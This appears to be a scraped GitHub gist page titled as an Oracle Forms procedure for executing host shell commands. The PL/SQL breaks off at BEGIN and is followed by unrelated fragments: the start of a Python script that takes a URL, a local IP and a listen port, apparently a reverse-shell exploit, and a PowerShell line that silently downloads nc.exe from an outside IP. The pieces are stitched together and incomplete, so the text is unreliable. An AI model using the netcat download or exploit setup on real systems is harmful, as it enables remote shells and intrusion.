Skip to content

Instantly share code, notes, and snippets.

View luistangui's full-sized avatar
馃挱
I may be slow to respond.

Luis Tangui luistangui

馃挱
I may be slow to respond.
  • Dominican Republic
View GitHub Profile
@luistangui
luistangui / exec_cmd.prc
Created September 18, 2015 13:58
Execute Host Shell Command / Oracle Forms 11g
PROCEDURE EXEC_CMD(command varchar2) IS
stnd WEBUTIL_HOST.OUTPUT_ARRAY ;
error WEBUTIL_HOST.OUTPUT_ARRAY ;
process WEBUTIL_HOST.PROCESS_ID ;
pass PLS_INTEGER := 0 ;
result varchar2(10000);
BEGIN
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import urllib.request
import sys
import base64
if len(sys.argv) != 4:
print('Usage: '+sys.argv[0]+' [URL] [LOCAL_IP] [LISTEN PORT]')
quit()
powershell.exe $ProgressPreference = 'SilentlyContinue'; Invoke-WebRequest https://10.10.10.3/nc.exe -OutFile nc.exe